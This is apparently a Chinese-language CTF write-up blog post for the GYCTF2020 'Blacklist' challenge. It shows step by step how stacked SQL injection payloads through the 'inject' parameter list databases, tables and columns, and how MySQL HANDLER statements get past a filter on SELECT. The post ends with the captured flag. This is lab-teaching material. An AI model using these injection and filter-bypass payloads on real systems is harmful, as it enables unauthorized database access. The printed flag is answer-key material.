[GYCTF2020]Blacklist 1

[GYCTF2020]Blacklist 1

打开实例发现get提交框,提交1发现显示

image-20241113111242240

尝试万能密码无果

image-20241113111333443

尝试联合注入,显示出了过滤规则,可以见到很多关键字都被过滤了

image-20241113112041177

尝试堆叠注入,成功显示出数据表

?inject=1';show databases;

image-20241113112513384

查表

?inject=1';use ctftraining;show tables;

看到了个FLAG_TABLE

image-20241113112759558

查字段

?inject=1';use ctftraining;show tables;show columns from FLAG_TABLE;

image-20241113113128056

这边显示not_flag,靠背了又查错表了

重新查询supersqli

?inject=1';use supersqli;show tables;

image-20241113113306965

看到FlagHere,这次准没错了

查字段

?inject=1';use supersqli;show tables;show columns from FlagHere;

image-20241113113412259

看到flag的列,但是未能显示出flag

这边因为select等字段被过滤的原因,所以并不能采用直接select的方式进行查询,所以思考片刻决定采用handler进行查询

构造payload:

?inject=1';use supersqli;HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;

成功获取到flag

image-20241113114313166

flag{40d647f8-9b46-4d91-82d1-d15815fab409}
posted @   TazmiDev  阅读(46)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示